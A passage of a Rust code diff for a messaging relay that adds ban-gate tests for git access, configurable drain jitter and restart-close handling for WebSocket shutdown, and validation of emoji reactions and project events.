+        assert!(
+            deny_banned_git_principal(&db, community, &member.public_key(), None)
+                .await
+                .is_ok(),
+            "precondition: an unbanned member passes the git ban gate"
+        );
+
+        db.ban_community_member(community, &member_pk, &actor, Some("test"), None)
+            .await
+            .expect("ban");
+
+        let (status, body) = denial_parts(
+            deny_banned_git_principal(&db, community, &member.public_key(), None).await,
+        )
+        .await;
+        assert_eq!(status, StatusCode::FORBIDDEN);
+        assert_eq!(body, "blocked: banned from this community");
+    }
+
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn ban_gate_cascades_to_a_banned_nip_oa_owner() {
+        let (db, community, actor) = setup_ban_community().await;
+        let owner = Keys::generate();
+        let agent = Keys::generate();
+        let owner_pk = owner.public_key().to_bytes().to_vec();
+        let agent_pk = agent.public_key().to_bytes().to_vec();
+        db.ensure_user(community, &owner_pk).await.expect("owner");
+        db.ensure_user(community, &agent_pk).await.expect("agent");
+
+        // A real attestation: the gate must verify it, not trust a claim.
+        let auth_tag = buzz_sdk::nip_oa::compute_auth_tag(&owner, &agent.public_key(), "kind=9")
+            .expect("auth tag");
+
+        assert!(
+            deny_banned_git_principal(&db, community, &agent.public_key(), Some(&auth_tag))
+                .await
+                .is_ok(),
+            "precondition: neither agent nor owner is banned"
+        );
+
+        // Ban the human only. The agent's own row stays clear.
+        db.ban_community_member(community, &owner_pk, &actor, Some("test"), None)
+            .await
+            .expect("ban owner");
+
+        let (status, _) = denial_parts(
+            deny_banned_git_principal(&db, community, &agent.public_key(), Some(&auth_tag)).await,
+        )
+        .await;
+        assert_eq!(
+            status,
+            StatusCode::FORBIDDEN,
+            "banning the owner must revoke its agent's git access"
+        );
+
+        // An unattested request from the same agent key is unaffected: the
+        // cascade must follow a verified owner, not punish every agent.
+        assert!(
+            deny_banned_git_principal(&db, community, &agent.public_key(), None)
+                .await
+                .is_ok(),
+            "without an attestation there is no owner to inherit from"
+        );
+    }
+
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn ban_gate_fails_closed_with_503_when_the_store_is_unreachable() {
+        let url = std::env::var("BUZZ_TEST_DATABASE_URL")
+            .or_else(|_| std::env::var("DATABASE_URL"))
+            .unwrap_or_else(|_| TEST_DB_URL.to_string());
+        let pool = sqlx::PgPool::connect(&url).await.expect("connect test DB");
+        let db = buzz_db::Db::from_pool(pool.clone());
+
+        // Closing the pool is the cheapest faithful stand-in for the
+        // restriction store being unavailable mid-request.
+        pool.close().await;
+
+        let community = buzz_core::CommunityId::from_uuid(uuid::Uuid::new_v4());
+        let (status, body) = denial_parts(
+            deny_banned_git_principal(&db, community, &Keys::generate().public_key(), None).await,
+        )
+        .await;
+        assert_eq!(
+            status,
+            StatusCode::SERVICE_UNAVAILABLE,
+            "a store outage must deny as retryable, never allow and never claim a 403"
+        );
+        assert_eq!(body, "authorization unavailable");
+    }
 }
diff --git a/crates/buzz-relay/src/config.rs b/crates/buzz-relay/src/config.rs
index 4182354f4c..6d31a8cc90 100644
--- a/crates/buzz-relay/src/config.rs
+++ b/crates/buzz-relay/src/config.rs
@@ -103,6 +103,10 @@ pub struct JoinPolicyConfig {
     pub version: String,
 }
 
+/// Maximum configured jitter, leaving ten seconds of the hard-drain budget for
+/// WebSocket close-frame delivery after the final delayed cancellation.
+pub const MAX_DRAIN_JITTER_MS: u64 = 20_000;
+
 /// Relay runtime configuration, loaded from environment variables.
 #[derive(Debug, Clone)]
 pub struct Config {
@@ -117,6 +121,20 @@ pub struct Config {
     /// `0` (the default) disables bounded-staleness replica routing; see
     /// [`buzz_db::DbConfig::replica_read_max_age_ms`].
     pub replica_read_max_age_ms: u64,
+
+    /// Upper bound, in milliseconds, of the per-connection random delay applied
+    /// when sending the `1012 Service Restart` close frame during graceful
+    /// shutdown (`BUZZ_DRAIN_JITTER_MS`). Each live connection is closed after
+    /// an independent delay drawn uniformly from `[1, drain_jitter_ms]` when
+    /// jitter is enabled, which
+    /// spreads client reconnects across the window instead of releasing the
+    /// whole pod's sockets in one instant (the reconnect thundering herd that
+    /// drives DB pool-timeout bursts on rolling deploys).
+    ///
+    /// Default `0` reproduces the previous all-at-once close. Values above
+    /// [`MAX_DRAIN_JITTER_MS`] are capped, leaving headroom under the relay's
+    /// 30-second hard-drain timeout for close-frame delivery.
+    pub drain_jitter_ms: u64,
     /// Redis connection URL used by the pub/sub manager.
     pub redis_url: String,
     /// Maximum connections in the shared Redis pool. Defaults to 16.
@@ -527,6 +545,25 @@ impl Config {
             Err(_) => 0,
         };
 
+        // Drain jitter: 0 = off (default). Clamp oversized values so every
+        // delayed close is initiated with ten seconds left in the relay's
+        // hard-drain budget. An empty/whitespace-only value is treated as unset
+        // (jitter off), matching the sibling vars in this file — so setting the
+        // var to "" is a valid kill switch, not a crashloop.
+        let drain_jitter_ms = match std::env::var("BUZZ_DRAIN_JITTER_MS") {
+            Ok(raw) if raw.trim().is_empty() => 0,
+            Ok(raw) => raw
+                .trim()
+                .parse::<u64>()
+                .map_err(|_| {
+                    ConfigError::InvalidValue(
+                        "BUZZ_DRAIN_JITTER_MS must be a non-negative integer".to_string(),
+                    )
+                })?
+                .min(MAX_DRAIN_JITTER_MS),
+            Err(_) => 0,
+        };
+
         let redis_url =
             std::env::var("REDIS_URL").unwrap_or_else(|_| "redis://localhost:6379".to_string());
 
@@ -1015,6 +1052,7 @@ impl Config {
             database_url,
             read_database_url,
             replica_read_max_age_ms,
+            drain_jitter_ms,
             redis_url,
             redis_pool_size,
             db_pool_size,
@@ -1383,6 +1421,60 @@ mod tests {
         }
     }
 
+    #[test]
+    fn drain_jitter_defaults_off_and_rejects_junk() {
+        let _guard = ENV_MUTEX.lock().unwrap();
+        let previous = std::env::var_os("BUZZ_DRAIN_JITTER_MS");
+
+        std::env::remove_var("BUZZ_DRAIN_JITTER_MS");
+        let unset = Config::from_env().expect("config").drain_jitter_ms;
+
+        std::env::set_var("BUZZ_DRAIN_JITTER_MS", "20000");
+        let set = Config::from_env().expect("config").drain_jitter_ms;
+
+        std::env::set_var("BUZZ_DRAIN_JITTER_MS", "60000");
+        let capped = Config::from_env().expect("config").drain_jitter_ms;
+
+        std::env::set_var("BUZZ_DRAIN_JITTER_MS", "0");
+        let zero = Config::from_env().expect("config").drain_jitter_ms;
+
+        std::env::set_var("BUZZ_DRAIN_JITTER_MS", "soon");
+        let junk = Config::from_env();
+
+        std::env::set_var("BUZZ_DRAIN_JITTER_MS", "");
+        let empty = Config::from_env()
+            .expect("empty is a valid kill switch")
+            .drain_jitter_ms;
+
+        std::env::set_var("BUZZ_DRAIN_JITTER_MS", "   ");
+        let blank = Config::from_env()
+            .expect("whitespace-only is a valid kill switch")
+            .drain_jitter_ms;
+
+        if let Some(value) = previous {
+            std::env::set_var("BUZZ_DRAIN_JITTER_MS", value);
+        } else {
+            std::env::remove_var("BUZZ_DRAIN_JITTER_MS");
+        }
+
+        assert_eq!(unset, 0, "drain jitter must default off");
+        assert_eq!(set, MAX_DRAIN_JITTER_MS);
+        assert_eq!(
+            capped, MAX_DRAIN_JITTER_MS,
+            "oversized jitter leaves close-frame flush headroom"
+        );
+        assert_eq!(zero, 0, "explicit 0 is off");
+        assert!(
+            junk.is_err(),
+            "an unparsable jitter must fail loudly, not silently disable"
+        );
+        assert_eq!(
+            empty, 0,
+            "an empty value is treated as unset — a kill switch, not a crashloop"
+        );
+        assert_eq!(blank, 0, "a whitespace-only value is treated as unset");
+    }
+
     #[test]
     fn audit_logging_defaults_on_and_accepts_explicit_off() {
         let _guard = ENV_MUTEX.lock().unwrap();
diff --git a/crates/buzz-relay/src/conformance/mod.rs b/crates/buzz-relay/src/conformance/mod.rs
index 323d0aca03..93ebe5de9f 100644
--- a/crates/buzz-relay/src/conformance/mod.rs
+++ b/crates/buzz-relay/src/conformance/mod.rs
@@ -370,6 +370,16 @@ impl Tracer for CountingTracer {
             .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
         self.inner.record(step);
     }
+
+    /// Delegate, never inherit the `true` default. This wrapper is
+    /// transparent: whether emits are observed is a property of the
+    /// tracer underneath it. Returning `true` over a `NoopTracer` would
+    /// reintroduce the overhead the gate exists to remove; returning
+    /// `false` over a real tracer would suppress the emits whose absence
+    /// the `EmitGuard` reports as a coverage breach.
+    fn enabled(&self) -> bool {
+        self.inner.enabled()
+    }
 }
 
 impl EmitGuard {
@@ -455,6 +465,52 @@ mod tests {
         }
     }
 
+    /// Discarding tracer that reports `enabled() == false`, standing in
+    /// for the production `NoopTracer`.
+    #[derive(Debug, Default)]
+    struct DisabledTracer;
+
+    impl Tracer for DisabledTracer {
+        fn record(&self, _step: TraceStep) {}
+        fn enabled(&self) -> bool {
+            false
+        }
+    }
+
+    /// `CountingTracer` must forward `enabled()` to the tracer it wraps
+    /// rather than inherit the trait's `true` default. Both directions
+    /// matter, and getting either wrong is silent:
+    ///
+    /// - over a disabled tracer, answering `true` would keep the hot-path
+    ///   read-seam `channels` lookup running in production — the overhead
+    ///   the gate exists to remove;
+    /// - over a live tracer, answering `false` would make gated emitters
+    ///   skip emits during conformance runs, so the `EmitGuard` would
+    ///   report `ImplBug` for seams that are in fact correct (or, worse,
+    ///   mask a real breach behind an expected one).
+    #[test]
+    fn counting_tracer_delegates_enabled_to_inner() {
+        let (_guard, counting) = EmitGuard::arm(
+            Arc::new(DisabledTracer),
+            dummy_state(),
+            "delegates_disabled",
+        );
+        assert!(
+            !counting.enabled(),
+            "CountingTracer must report disabled when wrapping a discarding tracer"
+        );
+
+        let (_guard, counting) = EmitGuard::arm(
+            Arc::new(VecTracer::default()),
+            dummy_state(),
+            "delegates_live",
+        );
+        assert!(
+            counting.enabled(),
+            "CountingTracer must report enabled when wrapping an observing tracer"
+        );
+    }
+
     fn dummy_state() -> AbstractState {
         AbstractState {
             resolved_community: CommunityLabel::from_uuid(Uuid::from_u128(0xA)),
diff --git a/crates/buzz-relay/src/conformance/tracers.rs b/crates/buzz-relay/src/conformance/tracers.rs
index 682c1714eb..36c9789358 100644
--- a/crates/buzz-relay/src/conformance/tracers.rs
+++ b/crates/buzz-relay/src/conformance/tracers.rs
@@ -17,6 +17,12 @@ pub struct NoopTracer;
 
 impl Tracer for NoopTracer {
     fn record(&self, _step: TraceStep) {}
+
+    /// Nothing is observed, so emitters should skip building inputs —
+    /// including the read-seam's per-request `channels` lookup.
+    fn enabled(&self) -> bool {
+        false
+    }
 }
 
 /// JSONL-to-file tracer for tests + the CI replay job. Each `record` call
diff --git a/crates/buzz-relay/src/connection.rs b/crates/buzz-relay/src/connection.rs
index 1c0acd2013..8d9025df1b 100644
--- a/crates/buzz-relay/src/connection.rs
+++ b/crates/buzz-relay/src/connection.rs
@@ -29,6 +29,11 @@ const AUTH_TIMEOUT: Duration = Duration::from_secs(5);
 /// Shared mutable subscription map for a single WebSocket connection.
 pub(crate) type ConnectionSubscriptions = Arc<Mutex<HashMap<String, Vec<Filter>>>>;
 
+/// Request for the writer to flush a restart close and report the result.
+pub(crate) struct RestartClose {
+    pub(crate) flushed: tokio::sync::oneshot::Sender<bool>,
+}
+
 /// Maximum outbound data frames buffered into the websocket sink before one flush.
 const MAX_WS_SEND_BATCH: usize = 64;
 
@@ -161,6 +166,11 @@ async fn handle_active_connection(
     // even when the data buffer is full.
     let (ctrl_tx, ctrl_rx) = mpsc::channel::<WsMessage>(8);
 
+    // Dedicated restart-close channel carries a flush acknowledgement. Keeping
+    // ordinary control frames unchanged avoids coupling heartbeat/ban traffic
+    // to graceful-shutdown delivery tracking.
+    let (restart_tx, restart_rx) = mpsc::channel::<RestartClose>(1);
+
     let backpressure_count = Arc::new(AtomicU8::new(0));
     let subscriptions = Arc::new(Mutex::new(HashMap::new()));
 
@@ -205,6 +215,7 @@ async fn handle_active_connection(
         conn_id,
         tx.clone(),
         ctrl_tx.clone(),
+        Some(restart_tx),
         cancel.clone(),
         conn.tenant.community(),
         Arc::clone(&backpressure_count),
@@ -215,7 +226,7 @@ async fn handle_active_connection(
     let (ws_send, ws_recv) = socket.split();
 
     let send_cancel = cancel.child_token();
-    let send_task = tokio::spawn(send_loop(ws_send, rx, ctrl_rx, send_cancel));
+    let send_task = tokio::spawn(send_loop(ws_send, rx, ctrl_rx, restart_rx, send_cancel));
 
     let missed_pongs = Arc::new(AtomicU8::new(0));
     let heartbeat_cancel = cancel.clone();
@@ -297,15 +308,17 @@ async fn send_loop(
     ws_send: futures_util::stream::SplitSink<WebSocket, WsMessage>,
     data_rx: mpsc::Receiver<WsMessage>,
     ctrl_rx: mpsc::Receiver<WsMessage>,
+    restart_rx: mpsc::Receiver<RestartClose>,
     cancel: CancellationToken,
 ) {
-    send_loop_inner(ws_send, data_rx, ctrl_rx, cancel).await;
+    send_loop_inner(ws_send, data_rx, ctrl_rx, restart_rx, cancel).await;
 }
 
 async fn send_loop_inner<S>(
     mut ws_send: S,
     mut data_rx: mpsc::Receiver<WsMessage>,
     mut ctrl_rx: mpsc::Receiver<WsMessage>,
+    mut restart_rx: mpsc::Receiver<RestartClose>,
     cancel: CancellationToken,
 ) where
     S: Sink<WsMessage> + Unpin,
@@ -319,9 +332,21 @@ async fn send_loop_inner<S>(
         }
 
         tokio::select! {
-            // Biased: cancel > control > data. Cancel must win immediately
-            // so backpressure-triggered shutdown isn't starved by queued data.
+            // Biased: restart > cancel > ordinary control > data. A restart
+            // command owns shutdown delivery and must flush its 1012 before
+            // cancellation can fall back to an unacknowledged close.
             biased;
+            Some(restart) = restart_rx.recv() => {
+                let sent = ws_send
+                    .send(WsMessage::Close(Some(axum::extract::ws::CloseFrame {
+                        code: axum::extract::ws::close_code::RESTART,
+                        reason: axum::extract::ws::Utf8Bytes::from_static("relay restarting"),
+                    })))
+                    .await
+                    .is_ok();
+                let _ = restart.flushed.send(sent);
+                break;
+            }
             _ = cancel.cancelled() => {
                 // Drain any queued control frames before closing. A ban
                 // disconnect queues its `OK false "blocked: …"` reason frame on
@@ -833,7 +858,8 @@ mod tests {
         }
 
         let (sink, state) = MockSink::new(Some(1));
-        send_loop_inner(sink, data_rx, ctrl_rx, CancellationToken::new()).await;
+        let (_restart_tx, restart_rx) = mpsc::channel(1);
+        send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await;
 
         let state = state.lock().expect("mock sink poisoned");
         assert_eq!(state.flush_count, 1);
@@ -853,7 +879,8 @@ mod tests {
             .expect("queue data frame");
 
         let (sink, state) = MockSink::new(Some(1));
-        send_loop_inner(sink, data_rx, ctrl_rx, CancellationToken::new()).await;
+        let (_restart_tx, restart_rx) = mpsc::channel(1);
+        send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await;
 
         let state = state.lock().expect("mock sink poisoned");
         assert_eq!(state.flush_count, 1);
@@ -878,7 +905,8 @@ mod tests {
             .expect("queue control frame");
 
         let (sink, state) = MockSink::new(Some(2));
-        send_loop_inner(sink, data_rx, ctrl_rx, CancellationToken::new()).await;
+        let (_restart_tx, restart_rx) = mpsc::channel(1);
+        send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await;
 
         let state = state.lock().expect("mock sink poisoned");
         assert_eq!(state.flush_count, 2);
@@ -888,6 +916,57 @@ mod tests {
         );
     }
 
+    #[tokio::test]
+    async fn send_loop_acknowledges_restart_after_flushing_exactly_one_1012() {
+        let (_data_tx, data_rx) = mpsc::channel(1);
+        let (_ctrl_tx, ctrl_rx) = mpsc::channel(1);
+        let (restart_tx, restart_rx) = mpsc::channel(1);
+        let (flushed_tx, flushed_rx) = tokio::sync::oneshot::channel();
+        restart_tx
+            .send(RestartClose {
+                flushed: flushed_tx,
+            })
+            .await
+            .expect("queue restart close");
+
+        let (sink, state) = MockSink::new(None);
+        send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await;
+
+        assert_eq!(flushed_rx.await, Ok(true));
+        let state = state.lock().expect("mock sink poisoned");
+        assert_eq!(state.flush_count, 1, "ack follows the close flush");
+        assert_eq!(state.messages.len(), 1, "writer exits after restart close");
+        match &state.messages[0] {
+            WsMessage::Close(Some(close)) => {
+                assert_eq!(close.code, axum::extract::ws::close_code::RESTART);
+                assert_eq!(close.reason.as_str(), "relay restarting");
+            }
+            other => panic!("expected one 1012 restart close, got {other:?}"),
+        }
+    }
+
+    #[tokio::test]
+    async fn send_loop_reports_restart_flush_failure() {
+        let (_data_tx, data_rx) = mpsc::channel(1);
+        let (_ctrl_tx, ctrl_rx) = mpsc::channel(1);
+        let (restart_tx, restart_rx) = mpsc::channel(1);
+        let (flushed_tx, flushed_rx) = tokio::sync::oneshot::channel();
+        restart_tx
+            .send(RestartClose {
+                flushed: flushed_tx,
+            })
+            .await
+            .expect("queue restart close");
+
+        let (sink, state) = MockSink::new(Some(1));
+        send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, CancellationToken::new()).await;
+
+        assert_eq!(flushed_rx.await, Ok(false));
+        let state = state.lock().expect("mock sink poisoned");
+        assert_eq!(state.flush_count, 1);
+        assert_eq!(state.messages.len(), 1, "no fallback close is appended");
+    }
+
     #[tokio::test]
     async fn send_loop_flushes_queued_control_before_close_on_cancel() {
         // A ban disconnect queues its `OK false "blocked: …"` reason frame on
@@ -907,7 +986,8 @@ mod tests {
         cancel.cancel();
 
         let (sink, state) = MockSink::new(None);
-        send_loop_inner(sink, data_rx, ctrl_rx, cancel).await;
+        let (_restart_tx, restart_rx) = mpsc::channel(1);
+        send_loop_inner(sink, data_rx, ctrl_rx, restart_rx, cancel).await;
 
         let state = state.lock().expect("mock sink poisoned");
         assert_eq!(
diff --git a/crates/buzz-relay/src/handlers/event.rs b/crates/buzz-relay/src/handlers/event.rs
index d00242bdd7..cba267d5ae 100644
--- a/crates/buzz-relay/src/handlers/event.rs
+++ b/crates/buzz-relay/src/handlers/event.rs
@@ -1461,6 +1461,7 @@ mod tests {
                 conn_id,
                 tx,
                 ctrl_tx,
+                None,
                 CancellationToken::new(),
                 buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
                 Arc::new(AtomicU8::new(0)),
@@ -2100,6 +2101,7 @@ mod tests {
                 conn_id,
                 tx,
                 ctrl_tx,
+                None,
                 CancellationToken::new(),
                 buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
                 Arc::new(AtomicU8::new(0)),
@@ -2425,6 +2427,7 @@ mod tests {
                 conn_id,
                 tx,
                 ctrl_tx,
+                None,
                 CancellationToken::new(),
                 community_id,
                 Arc::new(AtomicU8::new(0)),
diff --git a/crates/buzz-relay/src/handlers/ingest.rs b/crates/buzz-relay/src/handlers/ingest.rs
index e71c8528f7..4be6255157 100644
--- a/crates/buzz-relay/src/handlers/ingest.rs
+++ b/crates/buzz-relay/src/handlers/ingest.rs
@@ -28,7 +28,7 @@ use buzz_core::kind::{
     KIND_NIP29_EDIT_METADATA, KIND_NIP29_JOIN_REQUEST, KIND_NIP29_LEAVE_REQUEST,
     KIND_NIP29_PUT_USER, KIND_NIP29_REMOVE_USER, KIND_NIP43_LEAVE_REQUEST,
     KIND_NIP65_RELAY_LIST_METADATA, KIND_PERSONA, KIND_PIN_LIST, KIND_PRESENCE_UPDATE,
-    KIND_PRODUCT_FEEDBACK, KIND_PROFILE, KIND_REACTION, KIND_READ_STATE, KIND_REPORT,
+    KIND_PRODUCT_FEEDBACK, KIND_PROFILE, KIND_PROJECT, KIND_REACTION, KIND_READ_STATE, KIND_REPORT,
     KIND_STREAM_MESSAGE, KIND_STREAM_MESSAGE_BOOKMARKED, KIND_STREAM_MESSAGE_DIFF,
     KIND_STREAM_MESSAGE_EDIT, KIND_STREAM_MESSAGE_PINNED, KIND_STREAM_MESSAGE_SCHEDULED,
     KIND_STREAM_MESSAGE_V2, KIND_STREAM_REMINDER, KIND_TEAM, KIND_TEAM_CATALOG, KIND_TEXT_NOTE,
@@ -50,6 +50,55 @@ use crate::conformance::{
     state_for_request, EmitGuard, TraceAction, Verdict,
 };
 
+fn validate_custom_emoji_tags(event: &Event) -> Result<(), IngestError> {
+    for tag in event.tags.iter() {
+        let parts = tag.as_slice();
+        if parts.first().map(String::as_str) != Some("emoji") {
+            continue;
+        }
+        let shortcode = parts.get(1).ok_or_else(|| {
+            IngestError::Rejected("invalid: emoji tag must include a shortcode".into())
+        })?;
+        buzz_sdk::normalize_custom_emoji_shortcode(shortcode)
+            .map_err(|err| IngestError::Rejected(format!("invalid: {err}")))?;
+    }
+    Ok(())
+}
+
+fn validate_reaction_emoji(event: &Event, emoji: &str) -> Result<(), IngestError> {
+    let emoji_char_count = emoji.chars().count();
+    if emoji_char_count <= 64 {
+        return Ok(());
+    }
+
+    let Some(shortcode) = emoji
+        .strip_prefix(':')
+        .and_then(|value| value.strip_suffix(':'))
+    else {
+        return Err(IngestError::Rejected(format!(
+            "invalid: reaction emoji exceeds 64 characters (got {emoji_char_count})"
+        )));
+    };
+    let normalized = buzz_sdk::normalize_custom_emoji_shortcode(shortcode)
+        .map_err(|err| IngestError::Rejected(format!("invalid: {err}")))?;
+    if shortcode != normalized {
+        return Err(IngestError::Rejected(
+            "invalid: long custom emoji reaction shortcode must be canonical lowercase".into(),
+        ));
+    }
+    let has_matching_tag = event.tags.iter().any(|tag| {
+        let parts = tag.as_slice();
+        parts.first().map(String::as_str) == Some("emoji")
+            && parts.get(1).is_some_and(|value| value == shortcode)
+    });
+    if !has_matching_tag || emoji_char_count > buzz_sdk::MAX_CUSTOM_EMOJI_REACTION_LEN {
+        return Err(IngestError::Rejected(format!(
+            "invalid: reaction emoji exceeds 64 characters (got {emoji_char_count})"
+        )));
+    }
+    Ok(())
+}
+
 /// How the HTTP caller authenticated (for [`IngestAuth::Http`]).
 #[derive(Debug, Clone)]
 pub enum HttpAuthMethod {
@@ -347,6 +396,9 @@ fn required_scope_for_kind(kind: u32, event: &Event) -> Result<Scope, &'static s
         | KIND_HUDDLE_GUIDELINES => Ok(Scope::ChannelsWrite),
         // NIP-34: Git repository events
         KIND_GIT_REPO_ANNOUNCEMENT | KIND_GIT_REPO_STATE => Ok(Scope::ReposWrite),
+        // NIP-MP: a project is repository metadata — grouping repositories needs
+        // the same scope as announcing them.
+        KIND_PROJECT => Ok(Scope::ReposWrite),
         KIND_GIT_PATCH
         | KIND_GIT_PULL_REQUEST
         | KIND_GIT_PR_UPDATE
@@ -483,6 +535,10 @@ pub(crate) fn is_global_only_kind(kind: u32) -> bool {
             | KIND_GIT_STATUS_MERGED
             | KIND_GIT_STATUS_CLOSED
             | KIND_GIT_STATUS_DRAFT
+            // NIP-MP: projects are addressed by (pubkey, kind, d_tag). The
+            // `buzz-channel` tag is a metadata reference, not a routing directive,
+            // so a project's state is never channel-scoped.
+            | KIND_PROJECT
             // Community moderation commands (9040–9044): community-global
             // direct commands, same model as the NIP-43 9030-series. A stray
             // `h` tag must never channel-scope them (pinned contract —
@@ -1206,6 +1262,284 @@ fn validate_team_catalog_envelope(event: &Event) -> Result<(), String> {
     Ok(())
 }
 
+/// Maximum number of member `a` tags on a kind:30621 project.
+///
+/// Counted over raw tags, not distinct coordinates: a duplicate-heavy event
+/// naming one coordinate thousands of times would otherwise be bounded only by
+/// the relay frame limit (`config.rs`), so the cap must be checked before any
+/// set proportional to the tag list is built.
+const PROJECT_MEMBER_CAP: usize = 64;
+
+/// Maximum byte length of a project `name` tag value.
+const PROJECT_NAME_MAX_LEN: usize = 256;
+
+/// Maximum byte length of a project `description` tag value.
+const PROJECT_DESCRIPTION_MAX_LEN: usize = 2048;
+
+/// Maximum byte length of `buzz-channel` and `buzz-visibility` tag values.
+///
+/// Both are opaque strings at the relay layer; the bound exists only so an
+/// unbounded value cannot ride into storage on a tag ingest does not interpret.
+const PROJECT_METADATA_TAG_MAX_LEN: usize = 256;
+
+/// Metadata tags a project may carry at most once each.
+///
+/// Duplicates would make the effective value reader-dependent — one client
+/// taking the first, another the last.
+const PROJECT_SINGLETON_METADATA_TAGS: [&str; 4] =
+    ["name", "description", "buzz-channel", "buzz-visibility"];
+
+/// The kind segment every project member coordinate must carry: a project groups
+/// repository *announcements*, so a coordinate naming any other kind (notably
+/// kind:30618 repository state) is malformed.
+const PROJECT_MEMBER_KIND_SEGMENT: &str = "30617";
+const _: () = assert!(KIND_GIT_REPO_ANNOUNCEMENT == 30617);
+
+/// A validation failure from [`validate_project_envelope`] or
+/// [`parse_project_member_coordinate`].
+///
+/// Carries the stable NIP-MP rule identifier alongside the human-readable
+/// rejection message. The rule ID allows the fixture oracle and any future
+/// cross-implementation conformance test to assert *which* rule fired, not just
+/// that rejection occurred — an implementation cannot pass a reject fixture by
+/// refusing for an unrelated reason.
+///
+/// The eight IDs match the `reject_rules` strings in `NIP-MP.fixtures.json`
+/// exactly: `d-cardinality`, `d-empty`, `member-cap`, `member-tag-arity`,
+/// `member-coordinate-malformed`, `member-duplicate`, `metadata-cardinality`,
+/// `metadata-length`.
+#[derive(Debug)]
+struct ProjectRejection {
+    /// Stable rule identifier matching the fixture file's `reject_rules` set.
+    rule: &'static str,
+    /// Human-readable explanation forwarded to the client's NOTICE/OK message.
+    message: String,
+}
+
+impl std::fmt::Display for ProjectRejection {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        write!(f, "[{}] {}", self.rule, self.message)
+    }
+}
+
+impl ProjectRejection {
+    fn new(rule: &'static str, message: impl Into<String>) -> Self {
+        Self {
+            rule,
+            message: message.into(),
+        }
+    }
+}
+
+/// Validate the envelope of a kind:30621 NIP-MP project event.
+///
+/// Enforces the structural contract in `docs/nips/NIP-MP.md` — exactly one
+/// non-empty `d` tag, at most [`PROJECT_MEMBER_CAP`] member `a` tags each
+/// holding a canonical `30617:<lowercase-64-hex-owner>:<non-empty-d>`
+/// coordinate with no duplicates, and bounded metadata.
+///
+/// Deliberately absent: any membership authorization. The signer may reference
+/// any repository coordinate, including another owner's, because membership
+/// grants nothing — push policy reads the repository's own kind:30617
+/// (`api/git/policy.rs`) and never a project. Owner-only replacement comes free
+/// from NIP-33 addressing.
+///
+/// Duplicates are rejected rather than deduped: a relay cannot rewrite tags
+/// inside a signed event without invalidating its id and signature, so the
+/// choice is reject or force every consumer to apply a first-wins rule.
+fn validate_project_envelope(event: &Event) -> Result<(), ProjectRejection> {
+    let mut d_tags: Vec<&str> = Vec::new();
+    let mut members: Vec<&str> = Vec::new();
+    let mut name: Option<&str> = None;
+    let mut description: Option<&str> = None;
+    let mut buzz_channel: Option<&str> = None;
+    let mut buzz_visibility: Option<&str> = None;
+    let mut singleton_counts = [0usize; PROJECT_SINGLETON_METADATA_TAGS.len()];
+
+    for tag in event.tags.iter() {
+        let parts = tag.as_slice();
+        let Some(tag_name) = parts.first().map(|s| s.as_str()) else {
+            continue;
+        };
+        let value = parts.get(1).map(|s| s.as_str()).unwrap_or("");
+        match tag_name {
+            "d" => d_tags.push(value),
+            "a" => members.push(value),
+            _ => {
+                if let Some(i) = PROJECT_SINGLETON_METADATA_TAGS
+                    .iter()
+                    .position(|k| *k == tag_name)
+                {
+                    singleton_counts[i] += 1;
+                    match tag_name {
+                        "name" => name = Some(value),
+                        "description" => description = Some(value),
+                        "buzz-channel" => buzz_channel = Some(value),
+                        "buzz-visibility" => buzz_visibility = Some(value),
+                        _ => {}
+                    }
+                }
+            }
+        }
+    }
+
+    // `d-cardinality` / `d-empty`: under NIP-33 a missing `d` is treated as
+    // empty, which collapses every such project into the `(pubkey, 30621, "")`
+    // slot where unrelated projects silently overwrite each other. Several `d`
+    // tags make the address reader-dependent. Length is bounded by the generic
+    // `D_TAG_MAX_LEN` check the ingest pipeline already applies.
+    if d_tags.len() != 1 {
+        return Err(ProjectRejection::new(
+            "d-cardinality",
+            format!(
+                "project event must have exactly one `d` tag (got {})",
+                d_tags.len()
+            ),
+        ));
+    }
+    if d_tags[0].is_empty() {
+        return Err(ProjectRejection::new(
+            "d-empty",
+            "project event `d` tag must not be empty",
+        ));
+    }
+
+    // `member-cap` before `member-coordinate-malformed` and `member-duplicate`:
+    // refuse on count before doing per-tag work.
+    if members.len() > PROJECT_MEMBER_CAP {
+        return Err(ProjectRejection::new(
+            "member-cap",
+            format!(
+                "project event must have at most {PROJECT_MEMBER_CAP} member `a` tags (got {})",
+                members.len()
+            ),
+        ));
+    }
+    // `member-tag-arity`: every member `a` tag has exactly 2 or 3 elements per
+    // NIP-01's `a` tag grammar. A one-element tag names no coordinate; a fourth
+    // element has no defined meaning, and accepting it would let a writer park
+    // unbounded unvalidated data in a position no consumer reads.
+    for tag in event.tags.iter() {
+        let parts = tag.as_slice();
+        if parts.first().map(|s| s.as_str()) == Some("a") && !(2..=3).contains(&parts.len()) {
+            return Err(ProjectRejection::new(
+                "member-tag-arity",
+                format!(
+                    "project event member `a` tag must have exactly 2 or 3 elements (got {})",
+                    parts.len()
+                ),
+            ));
+        }
+    }
+    let mut seen = std::collections::HashSet::with_capacity(members.len());
+    for member in &members {
+        parse_project_member_coordinate(member)?;
+        if !seen.insert(*member) {
+            return Err(ProjectRejection::new(
+                "member-duplicate",
+                format!("project event has duplicate member coordinate {member:?}"),
+            ));
+        }
+    }
+
+    for (i, count) in singleton_counts.iter().enumerate() {
+        if *count > 1 {
+            return Err(ProjectRejection::new(
+                "metadata-cardinality",
+                format!(
+                    "project event must have at most one `{}` tag (got {count})",
+                    PROJECT_SINGLETON_METADATA_TAGS[i]
+                ),
+            ));
+        }
+    }
+    if let Some(name) = name {
+        if name.len() > PROJECT_NAME_MAX_LEN {
+            return Err(ProjectRejection::new(
+                "metadata-length",
+                format!(
+                    "project event `name` tag too long ({} bytes, max {PROJECT_NAME_MAX_LEN})",
+                    name.len()
+                ),
+            ));
+        }
+    }
+    if let Some(description) = description {
